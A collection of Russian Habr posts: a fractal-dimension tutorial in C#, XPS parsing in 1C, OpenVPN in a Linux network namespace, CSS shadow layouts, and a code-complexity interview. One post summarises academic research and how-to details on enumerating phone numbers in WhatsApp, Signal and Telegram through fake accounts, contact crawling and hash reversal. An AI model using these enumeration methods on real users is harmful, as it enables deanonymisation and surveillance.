{
using (StreamWriter sw = new StreamWriter(dataPath + "ba.csv"))
{
sw.WriteLine("NumberOfBoxes,LengthOfSideInv");
foreach (double bInv in baList.Keys)
{
sw.WriteLine(baList[bInv] + "," + bInv);
}
sw.Close();
}
}
return baList;
}
```
Остается только связать две процедуры:
```
IDictionary baList = BowCountingDimension(bwContour, 5, 100, 1, dir + "boxing\\");
double[] y = new double[baList.Count];
double[] x = new double[baList.Count];
int c = 0;
foreach (double key in baList.Keys)
{
y[c] = baList[key];
x[c] = key;
c++;
}
double[] theta = NormalEquations2d(y, x);
```
#### Примеры
##### Буква
Рассмотрим простое изображение без *особенностей*, т.е. с гладкими краями. В компьютерном зрении часто анализируется не изображение целиком, а его контур.
Фрактальная размерность в районе единицы сообщает нам о том, что фигура действительно без особенностей, и вполне гладкая.
##### Кривая Коха
Значение получилось почти такое же как и при вычислении фрактальной размерности аналитически, очевидно, что при увеличении разрешения изображения, аппроксимированное значение будет приближаться к вычисленному аналитически.
##### JanSetler
##### Карта России
Возьмем что нибудь более изрезанное, например карту нашей страны.
Получается что попа Дженифеер немного интереснее контура России, ну что ж поделать.
##### Фрактал
А будет ли значительно отличаться значение размерности для фрактала? Давайте проверим. Рассмотрим одно из [множеств Жюлиа](http://habrahabr.ru/post/206516/), точнее его границу. Гифку пришлось порезать, т.к. программка не справлялась с высоким разрешением, а масштабирование затирало сетку.
Как видите фрактал интереснее даже чем попа Дженифер.
#### Ссылки
Всю инфу вы найдете по ссылкам выше, в конце же я повторюсь только насчет двух курсов, второй кстати начался только пару дней назад, так что всем советую.
* [Introduction to Complexity](http://www.complexityexplorer.org/online-courses/3)
* [Introduction to Dynamical Systems and Chaos](http://www.complexityexplorer.org/online-courses/4)
Как то я в послал письмо одминам хабра с просьбой создать хаб по машинному обучению, получил такой вот ответ «Если наберется постов 15-20, которые просто обязаны быть в этом хабе — подумаем». Вообще таких постов уже давно больше, чем 15-20, у меня их только минимум штук 10. Я понимаю, что одминистрация больше занята хабами с политотой, но может попробуем обратить их внимание на действительно важные хабы. | https://habr.com/ru/post/208368/ | null | ru | null |
# WhatsApp, Telegram и Signal выдают телефонные номера всех пользователей
Синхронизация мессенджера с контактами из адресной книги (contact discovery) — очень удобная функция. Когда новый человек ставит приложение, то в него автоматически добавляется большой список контактов, а если кто-то впервые установил мессенджер, то уведомление об этом приходит всем его знакомым. К сожалению, данную функцию могут использовать государственные службы и другие злоумышленники для выслеживания людей. Существующие методы защиты пока не очень эффективны.
Масштаб утечек оценили специалисты из Вюрцбургского университета и Дармштадтского технического университета (Германия), который провели [самое масштабное в истории исследование](https://encrypto.de/papers/HWSDS21.pdf) с краулингом телефонных номеров в трёх мессенджерах: WhatsApp, Telegram и Signal. Результаты неутешительные: WhatsApp и Signal сливают номера пользователей в большом масштабе.
Хотя у Telegram очень жёсткие лимиты на количество запросов к API, он тоже не полностью защищён.
Протоколы пересечения закрытых множеств
=======================================
Для поиска по контактам без раскрытия информации предназначены криптографические протоколы [пересечения закрытых множеств](https://en.wikipedia.org/wiki/Private_set_intersection) (private set intersection). Эта техника вычисляет пресечение входного множества одной стороны («клиент») с входным множеством второй стороны («сервер»), так что клиенту известен только набор пересечений, а серверу известен только размер входного набора клиента.
Однако эти протоколы в настоящее время [недостаточно эффективны](https://eprint.iacr.org/2019/517) для мобильных приложений с миллиардами пользователей. Кроме того, PSI всё равно не решает абсолютно всех вопросов конфиденциальности, поскольку не может предотвратить атаки методом перебора номеров.
Утечка социального графа
========================
На прошлогодней конференции по компьютерной безопасности USENIX Security 2019 был представлен [доклад](https://eprint.iacr.org/2019/517) с доказательством, что многие мобильные мессенджеры (в том числе WhatsApp) облегчают обнаружение контактов, загружая на сервер *все* контакты из адресной книги пользователя, и впоследствии хранят их на сервере, даже если совпадение не найдено. Благодаря этому сервис может уведомлять пользователя о новых зарегистрированных контактах, а также строить полный социальный граф каждого человека. Эти графы дополняются информацией из других источников. Главная проблема конфиденциальности заключается в том, что контактные данные могут утечь в открытый доступ и использоваться для мошенничества, дискриминации, шантажа, вреда репутации или полицейского расследования. Сервер также может быть скомпрометирован, что приводит к раскрытию конфиденциальной информации, даже если разработчики мессенджера сами не продавали накопленную базу.
Чтобы защититься от этой угрозы, некоторые мобильные приложения (включая Signal) хэшируют контакты. К сожалению, низкая энтропия телефонных номеров [позволяет легко обратить (расшифровать) хэши](https://dl.gi.de/handle/20.500.12116/16294), поэтому такая защита неэффективна.
Краулинг
========
Но основной метод сбора контактных данных — это **краулинг**. Поскольку в сервисах обычно нет ограничения на регистрацию новых пользователей, то вы можете зарегистрировать любое количество фейковых аккаунтов со случайным набором контактов в адресной книге. Таким образом вы проверяете наличие в базе каждого телефонного номера — и собираете доступную информацию на их владельцев.
Полностью блокировать такую атаку сервисы не в состоянии, поскольку у пользователей должна быть возможность запрашивать с сервера информацию о контактах. Единственный метод защиты — ограничение количества запросов (см. таблицу ниже в разделе с описанием атаки).
С помощью краулинга собирается база пользователей. Кроме телефонного номера, эта база может включать и другую информацию, которую пользователь указал о себе и открыл для всеобщего обозрения. Какие именно сведения попадут в базу — зависит от настроек приватности. Поскольку абсолютное большинство пользователей не изменяет настройки по умолчанию, этот аспект тоже находится под контролем разработчиков мессенджера.
Предыдущие научные работы показали, что отслеживая метаданные пользователей в мессенджерах (время появления в онлайне), можно [построить точные модели поведения](https://www.onlinestatusmonitor.com/user_statistics/).
Сопоставление такой информации с другими социальными сетями и общедоступными источниками данных позволяет третьим лицам построить [ещё более детальные профили](https://dl.acm.org/doi/10.1145/2994459.2994471).
В коммерции такие знания используются для таргетированной рекламы или мошенничества, с персональной точки зрения — для шантажа или планирования преступления, а с точки зрения государства — [для преследования граждан](https://www.zdnet.com/article/hong-kong-protesters-warn-of-telegram-feature-that-can-disclose-their-identities/). Так власти Гонконга вычисляли пользователей, которые состоят в протестных группах Telegram. Данные нескольких тысяч пользователей телеграм-канала [были опубликованы](https://meduza.io/feature/2019/08/10/kto-takoy-tovarisch-mayor) в России в 2019 году (как показало расследование, источником данных является МВД).
Известно, что для краулинга российских пользователей работает программа-деанонимизатор Insider Telegram. Разработчики [говорят](https://meduza.io/feature/2019/08/10/kto-takoy-tovarisch-mayor), что перебор номеров позволил составить базу из более чем 10 млн пользователей. Сервис якобы показывает, какой номер телефона соответствует аккаунту Telegram.
[](https://habrastorage.org/webt/u7/vk/b9/u7vkb9qjvaoj6yrx5t6fioespku.png)
[](https://habrastorage.org/webt/da/cc/ez/daccezvscfkfdi6cmofrwwnomkq.png)
Insider Telegram работает в составе системы [«Демон Лапласа»](https://protestonline.ru/) (только для юрлиц и государственных органов), ходят слухи об аналогичной системе «Криптоскан» и других разработках.
Есть свидетельства, что силовые структуры Беларуси тоже начинают использовать аналогичные техники краулинга, как в России, поскольку сейчас Telegram стал основным инструментом общения у граждан.
Атака на мессенджеры: результаты
================================
Немецкие исследователи в своей научной работе продемонстрировали два вида атак на мессенджеры:
* обращение хэша: создание больших словарей со всеми возможными значениями хэшей для всех телефонных номеров в мире, брутфорс в hashcat, радужные таблицы новой конструкции.
* краулинг: в течение нескольких недель исследователи смогли проверить 10% всех номеров мобильных телефонов США в WhatsApp и 100% в Signal. Результаты показаны в таблице ниже.
#### Сравнение мессенджеров
| | WhatsApp | Signal | Telegram |
| --- | --- | --- | --- |
| Метод раскрытия контактов | Чистым текстом | Хэш | Чистым текстом |
| Лимиты сканирования | 60 тыс. в день | 120 тыс. в день | 5 тыс. + 100 в день |
| Метод краулинга | UI Automator | (Старые) API | API |
| Проверено американских номеров | 46,2 млн | 505,7 млн | 0,1 млн |
| Доля от общего количества американских номеров | 10% | 100% | менее 0,02% |
| Процент успеха для случайного номера | 9,8% | 0,5% | 0,9% |
| Найдено американских пользователей | 5,0 млн | 2,5 млн | 908 |
| Всего американских пользователей (оценка) | 49,6 млн | 2,5 млн | 4,6 млн |
| Настройки приватности по умолчанию: | | | |
| Картинка профиля | Публичная | Явная команда поделиться | Публичная |
| Статус | Публичный | — | Публичный |
| Последний раз в онлайне | Публичный | — | Публичный |
| Опция скрыть нахождение в онлайне | Нет | Есть | Есть |
| Опция отключить поиск по контактам | Нет | Нет | Есть |
Для краулинга исследователи использовали скромные ресурсы:
* бесплатное приложение [Hushed](https://hushed.com/) для регистрации клиентов с новыми телефонными номерами;
* подписка VPN для смены IP-адресов;
* один ноутбук с эмуляторами нескольких Android-устройств.
Для краулинга контактов WhatsApp в эмуляторе запускалось официальное приложение, с интерфейсом которого взаимодействовал фреймворк UI Automator. В адресную книгу устройства для начала вставили 60 000 телефонных номеров. Если кто-то из них зарегистрирован в WhatsApp, то извлекались данные его профиля. Новые аккаунты WhatsApp регистрировались в ручном режиме через фейковые телефонные номера Hushed.
Коммуникация с Telegram производилась через официальную библиотеку [TDLib](https://core.telegram.org/tdlib), которая выпускается для многих языков и платформ. Любое приложение можно выдать за клиент Telegram, если интегрировать библиотеку TDLib и получить аутентификационный токен, что делается с минимальными усилиями.
Для Signal был написан скрипт Python для отправки запросов на регистрацию и поиска контактов.
Исследователи выяснили лимиты на количество запросов в каждом мессенджере, а также ряд других интересных фактов. Например, что Telegram API раскрывает конфиденциальные метаданные, в том числе о телефонах, *не зарегистрированных* в Telegram и о количестве пользователей, у которых в адресной книге есть этот незарегистрированный номер (см. описание переменной `importer_count` в [документации Telegram API](https://core.telegram.org/tdlib/docs/classtd_1_1td__api_1_1imported_contacts.html)).
WhatsApp и Telegram передают контактную информацию открытым текстом (по зашифрованным каналам). WhatsApp хранит номера зарегистрированных пользователей на серверах в открытом виде, а номера незарегистрированных пользователей хэширует в MD5.
Signal не хранит контакты из адресных книг пользователей на сервере. Вместо этого каждый клиент периодически отправляет на сервер хэши всех своих контактов для сверки с базой зарегистрированных пользователей. Но эти хэши легко расшифровать.
Выводы
======
В научной работе исследователи количественно оценили усилия, злоумышленникам для сбора конфиденциальных данных пользователей в большом масштабе. К сожалению, это по-прежнему возможно даже с относительно скромными ресурсами для атаки.
Сейчас у 50% пользователей WhatsApp фотография аккаунта выложена в открытый доступ, а у 90% открыта информация «О себе». Интересно, что у 40% пользователей защищённого и приватного мессенджера Signal имеются полностью открытые профили в WhatsApp.
До публикации этой работы результаты были отправлены в WhatsApp, Signal и Telegram. Компания Signal признала проблему, уменьшила лимиты на количество запросов и пообещала внедрить другие методы защиты от краулинга. Facebook выплатил исследователям вознаграждение за найденные уязвимости и развернул улучшенную защиту для синхронизации контактов WhatsApp. Наконец, Telegram разработал дополнительные контрмеры против скрапинга данных в пределах установленных лимитов. Теперь система пытается определить краулинг базы номеров по специфическим признакам — и блокирует его после 20-100 совпадений вместо 5000.
На сегодняшний день Telegram лучше всех мессенджеров борется с краулингом пользователей. После гонконгских протестов 2019 года с [утечкой персональных данных юзеров протестных групп](https://www.zdnet.com/article/hong-kong-protesters-warn-of-telegram-feature-that-can-disclose-their-identities/) в Telegram были установлены жёсткие лимиты и таймауты, которые делают краулинг очень сложной технической задачей.
По мнению авторов, в настоящее время наиболее эффективная мера защиты для пользователей заключается в пересмотре настроек конфиденциальности. Крайне нежелательно оставлять значения по умолчанию. Для максимальной безопасности в условиях государственной слежки лучше регистрировать аккаунт в мессенджере на фейковый номер.
---
#### На правах рекламы
[Безопасные VDS](https://vdsina.ru/cloud-servers?partner=habr111) для заказа которых нужен только ваш email, никаких других личных данных! Используем новейшее брендовое железо, каждый сервер надёжно защищён от DDoS-атак.
[](https://vdsina.ru/cloud-servers?partner=habr111) | https://habr.com/ru/post/518298/ | null | ru | null |
# Перегружаем данные из XPS в обработку 1С без OCR
Доброго времени суток.
Столкнулся, значит, с такой проблемой. Есть обработка в 1С 8.2 и туда надо запихнуть в автоматическом режиме кучу данных. Куча данных находилась в своей базе данных, в своей архитектуре и подключить базу к 1С или переформатировать таблицы не представлялось возможным. Единственный способ, как мне показалось, вывести таблицу на виртуальный принтер, а оттуда и плясать начнем.
Итак, имеем документ в формате \*.xps, который нам дал заботливый виртуальный принтер:
Собственно, из этого всего, мне нужны только строчки самой работы, строчки подработ (начинаются со знака "-") и колонка нормы времени для каждой работы. Сначала я подумал, что формат XPS графический и придется полученный файл загонять в любую OCR программу, там распознавать таблицу и сохранять данные в формате Excel. Сначала так и сделалось, но есть огромные минусы:
— нет автоматизации процесса при конвертировании XPS -> 1C.
— OCR программы могут накосячить в распознавании текста.
— процесс конвертации занимает много времени.
Поэтому пришлось разбираться с форматом XPS напрямую.
Собственно, как оказывается, формат XPS — это обычный ZIP-файл. Вся информация там находится в виде XML. Картинки идут картинками, текст текстом. Но нам-то текст и нужен…
Внутри имеем такую картину:
Не буду вдаваться в подробности и содержание каждой папки – там все просто, если интересно, то можно полазить и самому. Меня конкретно интересует только один файл:
..\ Documents\1\FixedDocument.fdoc
Вот листинг этого файла:
```
xml version="1.0" encoding="UTF-8" ?
-
```
Как видим, тут пути к файлам страниц документа.
Оформляем это все в код 1С:
```
Процедура ОсновныеДействияФормыВСправочник(Кнопка)
РежимДиалога = РежимДиалогаВыбораФайла.Открытие;
ДиалогВыбора = Новый ДиалогВыбораФайла(РежимДиалога);
ДиалогВыбора.МножественныйВыбор = Истина;
ДиалогВыбора.Фильтр = "XPS |*.xps";
Если ДиалогВыбора.Выбрать() Тогда
Количество = ДиалогВыбора.ВыбранныеФайлы.Количество();
Для Стр = 0 по Количество - 1 Цикл
ПолучитьДанныеХПС(ДиалогВыбора.ВыбранныеФайлы[Стр], ДиалогВыбора.Каталог);
ПерегнатьВСправочник();
КонецЦикла;
КонецЕсли;
КонецПроцедуры
```
Для начала разархивируем содержимое файла во временную папку:
```
Процедура ПолучитьДанныеХПС (Файл, Каталог)
КодМарки = СтрЗаменить(Файл, Каталог, "");
КодМарки = СтрЗаменить(КодМарки, ".xps", "");
СоздатьКаталог(Каталог + КодМарки);
ЗИПФайл = Новый ЧтениеZipФайла(Файл);
ЗИПФайл.ИзвлечьВсе(Каталог + КодМарки, РежимВосстановленияПутейФайловZIP.Восстанавливать);
ЗИПФайл.Закрыть();
```
Теперь в директории файла имеем все возможности для работы. Нас интересует, как писалось выше, список файлов со страницами. Перегружаем список в таблицу. Работаем с этим файлом как с обычным XML:
```
ФайлХПС = Новый ЧтениеXML;
ФайлХПС.ОткрытьФайл(Каталог + КодМарки + "\Documents\1\FixedDocument.fdoc");
ПутьКФайлу.Очистить();
Нормочасы.Очистить();
Пока ФайлХПС.Прочитать() Цикл
ФайлХПС.ПрочитатьАтрибут();
Если ПроверитьЗначение(ФайлХПС.Значение) Тогда
ЭлементыФормы.ПутьКФайлу.ДобавитьСтроку();
ЭлементыФормы.ПутьКФайлу.ТекущаяСтрока.Путь = ФайлХПС.Значение;
КонецЕсли;
КонецЦикла;
ФайлХПС.Закрыть();
```
Все, имеем список файлов. Теперь приступаем к самим файлам. Файл страницы сам текстовый, но правила написания не XML. Структура блочная. Блоками отдельно пишется текстовая информация и графическая. Все блоки имеют координаты по оси Х и Y, для расположения на странице. Меня интересуют только текстовые блоки и их координаты, ну и их информация.
Блоки имеют начало и конец, понять где начало и конец просто: < />
В каждом блоке первое слово — его имя. Текстовые блоки имеют имя: Glyphs
Вот пример блока:
```
```
Меня интересуют тут только параметры:
— OriginX, для определения колонок.
— UnicodeString как само значение того, что содержится в строке.
Читать придется как обычный текстовый файл. Текстовые блоки все пишутся одной строкой. В 1С можно прочитать строку до символа перевода коретки:
```
ФайлХПС = Новый ЧтениеТекста(Файл, КодировкаТекста.UTF8);
Стр = ФайлХПС.ПрочитатьСтроку();
Пока Стр <> Неопределено Цикл
СтруктураПараметров = ПроверитьИмяПараметра(Стр);
...
```
А полученную строку проверяем на параметр, если начинается на Glyphs, то берем на проверку и анализ, если нет — читаем следующий.
Придется строку анализировать побуквенно и переписывать в структуру.
```
Функция ВозвратитьРеквизитыПараметра(Строка)
Перем
ИмяПараметра, КоординатыПараметра;
ИмяПараметра = "";
КоординатыПараметра = "";
Кавычка = """";
СтруктураПараметров = Новый Структура;
Если Найти(Строка, "UnicodeString") > 0 Тогда
Для Х = Найти(Строка, "UnicodeString") + 15 по СтрДлина(Строка) Цикл
Буква = Сред(Строка, Х, 1);
Если Буква <> """" Тогда
ИмяПараметра = ИмяПараметра + Буква;
Иначе
СтруктураПараметров.Вставить("ИмяПараметра", ИмяПараметра);
КонецЕсли;
КонецЦикла;
Для Х = Найти(Строка, "OriginX") + 9 по СтрДлина(Строка) Цикл
Буква = Сред(Строка, Х, 1);
Если Буква <> Кавычка Тогда
КоординатыПараметра = КоординатыПараметра + Буква;
Иначе
СтруктураПараметров.Вставить("КоординатыПараметра", Число(КоординатыПараметра));
Возврат СтруктураПараметров;
КонецЕсли;
КонецЦикла;
КонецЕсли;
Возврат СтруктураПараметров;
КонецФункции
```
Собственно, по выполнении функции, имеем все для анализа. Имя параметра, его координаты, значение параметра. Блоки выводят текст в XPS сверху вниз и слева направо. По координатам Х можно определить колонки, по названию параметра можем проанализировать какая информация нам нужна, а какая нет. Дальше расписывать как оно все уходило в справочник 1С не буду — там и так все понятно. Главное, я получил ответ как быстро извлечь нужную информацию из «графического» файла. | https://habr.com/ru/post/250371/ | null | ru | null |
# Запуск отдельных приложений через OpenVPN без контейнеров и виртуализации
Как-то одним прекрасным утром я рассказывал в телеграмме бывшему другу и коллеге о том, что такое network namespaces в Linux и с чем его едят. Коллега восхитился, так же, как я, в свое время, а мне пришла в голову, что надо не костылить скриптом, как я делал до этого, а автоматизировать запуск отдельного network namespace и OpenVPN в нем. Так как я использую Debian Sid и Ubuntu 16.04 LTS автоматизацию я себе сделал в виде юнитов systemd, но об этом в конце статьи. После того, как я рассказал еще одному человеку, на этот раз далекому от IT, о возможности запускать только одно приложение, например браузер, под VPN, а остальные, как и прежде, он сказал «Только ради этого стоит перейти на Linux на компе», а я решил написать статью-инструкцию, как это сделать.
О том, что такое network namespaces в Linux написано много, но для тех кто не знает я кратко процитирую [попавшееся под руку](https://www.opennet.ru/tips/info/2683.shtml) описание на русском языке:
«В linux относительно давно появилась такая замечательная вещь, как неймспейсы (namespaces). Основное применение данной технологии — контейнерная виртуализация, но и на маршрутизаторе можно придумать много разных применений, так как среди неймспейсов есть «network namespaces». Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
* свой набор таблиц маршрутизации (а их 2^31-1 шт)
* свою arp-таблицу
* свои правила iptables
* свои устройства (а значит и qdisc + class'ы tc)»
А теперь перейдем к теме нашей статьи.
Скрипт, для ручного поднятия network namespace и запуска в нем OpenVPN с комментированием
>
> ```
> #!/bin/bash
> sudo ip netns add vpn # создаем namespace по имени vpn
> sudo ip netns exec vpn ip addr add 127.0.0.1/8 dev lo # создаем в нем интерфейс lo
> sudo ip netns exec vpn ip link set lo up # поднимаем loopback-интерфейс в netns
> sudo ip link add vpn0 type veth peer name vpn1 # добавляем в системе виртуальный интерфейс, через который будет netns общаться с внешним миром
> sudo ip link set vpn0 up # поднимаем созданный интерфейс
> sudo ip link set vpn1 netns vpn up # создаем в netns интерфейс для общения во внешнем мире
> sudo ip addr add 10.10.10.1/24 dev vpn0 # добавляем адрес на интерфейсе в системе
> sudo ip netns exec vpn ip addr add 10.10.10.2/24 dev vpn1 # добавляем адрес на интерфейсе в netns
> sudo ip netns exec vpn ip route add VPN_IP via 10.10.10.1 dev vpn1 # добавляем маршрут до VPN-сервера(замените VPN_IP на адрес вашего сервера)
> sudo ip netns exec vpn ip route add default via 10.10.10.254 dev vpn1 # Добавляем адрес которого у нас нет в сети в качестве гейтвея, что бы OpenVPN мог заменить при запуске гейтвей на свой(если не будет никакого гейта, то OpenVPN не сможет назначить гейт и пакеты во вне у нас ходить через него не будут)
> sudo iptables -A INPUT ! -i vpn0 -s 10.10.10.0/24 -j DROP
> sudo iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o en+ -j MASQUERADE # настраиваем маскарадинг, замените en+ на wl+ если вы используете wifi-сетевуху для подключения к сети
> sudo sysctl -q net.ipv4.ip_forward=1 # разрешаем форвардинг пакетов
> sudo mkdir -p /etc/netns/vpn # создаем директорию в которой у нас будет лежать resolv.conf для нашего netns
> echo "nameserver 8.8.8.8" |sudo tee /etc/netns/vpn/resolv.conf # прописываем гугловый 8.8.8.8 в качестве ДНСа
> sudo ip netns exec vpn /usr/sbin/openvpn --daemon --writepid /run/openvpn/vpn.pid --cd /etc/openvpn/ --config vpn.conf # Запускаем OpenVPN с конфиг-файлом /etc/openvpn/vpn.conf внутри netns
> ```
>
Выполнив этот скрипт мы можем при помощи команды:
```
$ sudo ip netns exec vpn curl http://ifconfig.me
```
Убедиться, что внутри netns у нас поднят OpenVPN и в сеть внутри netns мы выходим через наш OpenVPN. Теперь командой:
```
$ sudo ip netns exec vpn su - USER_NAME -c firefox
```
мы можем запустить браузер и получить браузер работающий через VPN, в то время, как вся остальная система у нас работает, как прежде и все остальное ходить напрямую(в команде замените USER\_NAME на имя вашего пользователя). Пример запуска браузера приведен исходя из того, что на своем десктопе пользователь имеет sudo. Если кто-то может подсказать, как использовать ip netns exec без sudo буду признателен.
Аналогично браузеру вы можете запускать IM-клиенты, торрент-клиенты и все остальное. В случае, если firefox ругается при запуске, что не может подключиться к dbus поставьте в команде его запуска dbus-launch перед sudo.
Скрипт для остановки нашего netns:
>
> ```
> #!/bin/bash
> sudo ip netns pids vpn | xargs -rd'\n' sudo kill
> sudo rm -rf /etc/netns/vpn
> sudo sysctl -q net.ipv4.ip_forward=0
> sudo iptables -D INPUT ! -i vpn0 -s 10.10.10.0/24 -j DROP
> sudo iptables -t nat -D POSTROUTING -s 10.10.10.0/24 -o en+ -j MASQUERADE
> sudo ip link del vpn0
> sudo ip netns delete vpn
> ```
>
Юниты для systemd поднимающие все указанное на автомате при загрузке. Юнит для netns:
>
> ```
> [Unit]
> Description=Network namespace for VPN
> After=syslog.target network.target
> StopWhenUnneeded=true
> RefuseManualStart=true
> RefuseManualStop=true
>
> [Service]
> EnvironmentFile=/etc/netns/vpn.env
> Type=oneshot
> RemainAfterExit=true
> ExecStart=/bin/ip netns add vpn
> ExecStart=/bin/ip netns exec vpn ip addr add 127.0.0.1/8 dev lo
> ExecStart=/bin/ip netns exec vpn ip link set lo up
> ExecStart=/bin/ip link add vpn0 type veth peer name vpn1
> ExecStart=/bin/ip link set vpn0 up
> ExecStart=/bin/ip link set vpn1 netns vpn up
> ExecStart=/bin/ip addr add ${NETWORK}.1/24 dev vpn0
> ExecStart=/bin/ip netns exec vpn ip addr add ${NETWORK}.2/24 dev vpn1
> ExecStart=/bin/ip netns exec vpn ip route add ${VPN_SERVER} via ${NETWORK}.1 dev vpn1
> ExecStart=/bin/ip netns exec vpn ip route add default via ${NETWORK}.254 dev vpn1
> ExecStart=/sbin/iptables -A INPUT ! -i vpn0 -s ${NETWORK}.0/24 -j DROP
> ExecStart=/sbin/iptables -t nat -A POSTROUTING -s ${NETWORK}.0/24 -o wl+ -j MASQUERADE
> ExecStart=/sbin/sysctl -q net.ipv4.ip_forward=1
> ExecStart=/bin/mkdir -p /etc/netns/vpn
> ExecStart=/bin/sh -c "echo 'nameserver 8.8.8.8' > /etc/netns/vpn/resolv.conf"
>
> ExecStop=/bin/rm -rf /etc/netns/vpn
> ExecStop=/sbin/sysctl -q net.ipv4.ip_forward=0
> ExecStop=/sbin/iptables -D INPUT ! -i vpn0 -s ${NETWORK}.0/24 -j DROP
> ExecStop=/sbin/iptables -t nat -D POSTROUTING -s ${NETWORK}.0/24 -o wl+ -j MASQUERADE
> ExecStop=/bin/ip link del vpn0
> ExecStop=/bin/ip netns delete vpn
>
> [Install]
> WantedBy=multi-user.target
> ```
>
Юнит для OpenVPN:
>
> ```
> [Unit]
> Description=OpenVPN inside network namespace
> Requires=vpnns.service
> After=syslog.target network.target vpn-ns.service
>
> [Service]
> PrivateTmp=true
> Type=forking
> PIDFile=/var/run/openvpn/%i.pid
> ExecStart=/bin/ip netns exec vpn /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/%i.pid --cd /etc/openvpn/ --config %i.conf
>
> [Install]
> WantedBy=multi-user.target
> ```
>
И файл с переменными в котором я задаю адрес ВПН-сервера и сети используемой netns:
>
> ```
> VPN_SERVER=1.1.1.1 # Change IP to your OpenVPN-server IP
> NETWORK=10.10.10
> ```
>
Скопировав файлы для systemd в их места на файловой системе командой
```
$ sudo systemctl enable openvpn-ns@NAME.service
```
где NAME все то же имя вашего конфиг-файла OpenVPN. После этого можно запускать
```
$ sudo systemctl start openvpn-ns@NAME.service
```
OpenVPN запуститься в выделенном network namespace по имени vpn.
Командой
```
$ sudo ip netns exec vpn curl http://ifconfig.me
```
вы сможете проверить, что внутри netns теперь есть VPN и вы ходите с адреса своего сервера.
» [Юниты systemd на github](https://github.com/Ernillew/netns-vpn).
» Скрипты [vpnns\_up.sh](https://gist.github.com/Ernillew/aa0a13e738d2165878111801c5144d18) и [vpnns\_down.sh](https://gist.github.com/Ernillew/8b1d9f410806a56f374d5183c304ffcf) на gist.gihub.com
При подготовке статьи мне помогли две ссылки:
» [schnouki.net/posts/2014/12/12/openvpn-for-a-single-application-on-linux](https://schnouki.net/posts/2014/12/12/openvpn-for-a-single-application-on-linux/)
» [www.linux.org.ru/forum/admin/11591881](https://www.linux.org.ru/forum/admin/11591881)
Отдельная благодарность Сергею Воронову ака Рэйсту, после разговора с которым я и решил сделать конфиги и написать статью.
**P.S.** Запуск VPN в выделенном network namespace может использоваться не только, как обход цензуры, но и для рабочих целей, я после того, как сделал юнит для OpenVPN сделал себе еще аналогичный поднимающий VPN до сети клиента, что бы можно было запускать с доступом к его сети только отдельные приложения. | https://habr.com/ru/post/310646/ | null | ru | null |
# Два в одном
Что будет если объединить две проблемы, связанные с версткой?
Все мы в глубине души надеемся, что проблемы, возникающие при решении этих проблем сложатся. Однако, практика показывает, что они перемножаются.
Если Вам интересно, как используя только дивы и валидные CSSки сделать страницу, которая «отбрасывает тень» (слева и справа) и при этом занимает не меньше экрана по высоте, добро пожаловать под кат!
Для начала вспомним о том, как обычно делают тени. Есть такой старый проверенный метод «луковой шелухи». Нам же не хочется, чтобы наши тени можно было выделять мышкой? Поэтому они должны быть в качетсве фона, а так как нельзя отдельно задавать фоновые картинки для левого края и для правого, приходится вкладывать несколько div'ов друг в друга.
Теперь о высоте. Чтобы сделать слой высотой в экран нужно, чтобы у него и у всех элементов, в которые он вложен (начиная с body или даже html) была прописана *height:100%*. Но это нам не совсем подходит, т.к. нам нужно, чтобы 100% была минимальная высота. Для этого есть такой хак *min-height: 100%; height: auto !important; height: 100%;*". Но когда мы объединяем «луковую шелуху» с этим хаком, получается фигня, потому что у нас одна тень растягивается на высоту окна браузера, а другая — на высоту контента.
Вместе с товарищем [raceoffer](https://habrahabr.ru/users/raceoffer/) мы просидели над этим целую ночь, но, как говорится, утро вечера мудренее. Хотя, когда уже рассвело (но еще до того, как поспать) мы думали, что нашли решение. Сделали эти фоновые картинки статичным фоном. И все было хорошо, пока не появилась горизонтальная прокрутка!
Ну а теперь, собственно, решение, которое мы нашли.
Чтобы Вам было понятнее, как это выглядит в действии, я сделал два примера: [с растяжение по высоте контента](http://dimonline.studenthost.ru/heighter/long.html) и [с растяжением по высоте экрана](http://dimonline.studenthost.ru/heighter/short.html)
А теперь немного о том, как это работает. Сначала мы создаем контейнеры с высотой 100% окна и помещаем туда одну узкую колонку со стилем «float:right; margin-right:-5px». После нее мы размещаем контейнер, содержащий весь контент. Таким образом мы получили тень, которая выглядит так, как надо. Теперь маленький финт, чтобы футер располагался там, где нужно, ставим перед ним (иначе в IE все поедет).
Проверена работа данного метода в Firefox 2,3 Opera 9.27, 9.5, IE 6,7, Safari for Win | https://habr.com/ru/post/29061/ | null | ru | null |
# Все люди не умеют писать код
В преддверии Moscow Python Conf ++ мы поговорили с Никитой Соболевым, CTO компании «Мы делаем сервисы», о глобальной проблеме управления сложностью кода в разрезе развития языков программирования. А также о том, почему тут со временем ситуация становится только хуже. Плюс расспросили, зачем ему потребовалось создавать собственный линтер.
***— Расскажи в двух словах о себе и своей работе***
Я технический директор «Мы делаем сервисы». Озвучивая название компании, я обычно задаю вопрос: «Как вы думаете, чем мы занимаемся?». По факту мы специализируемся на веб-разработке: frontend и backend для корпоративных клиентов. А еще мы работаем по собственной методологии, которую совершенствуем параллельно с развитием компании — Repeatable Software Development Process (RSDP).
***— На Moscow Python Conf ++ ты будешь рассказывать, в том числе, про собственный линтер. Как твоя работа связана с аудитом и управлением сложностью кода?***
В целом у нас есть два основных направления: непосредственно разработка и все, что вокруг нее: консалтинг, составление требований и, в частности, аудит, в процессе которого я вижу очень много чужого кода. Код абсолютно разный: и тот, что сейчас в разработке, и legacy, который никто никогда уже не будет исправлять; и код, который пишут специалисты заказчика, и тот, что они заказали на стороне. И во всех вариантах кода очень много проблем: одинаковых и разных.
***— Ты будешь выступать перед разработчиками именно на Python. Имеет ли Python какие-то особенности с точки зрения управления сложностью кода?***
Конечно!
Во-первых, все языки с динамической типизацией в большей степени страдают от неоправданной сложности, как минимум из-за отсутствия дополнительного контекста при чтении кода. А еще тебе позволено больше грязи.
Во-вторых Python активно развивается. У него появляются новые синтаксические элементы, новые концепции и модули в стандартные библиотеки, которые ломают все, что было до этого.
***— Насколько в Python все плохо? Есть ведь и другие активно развивающиеся языки, например, JavaScript, который как раз за это часто критикуют. В JavaScript ситуация лучше?***
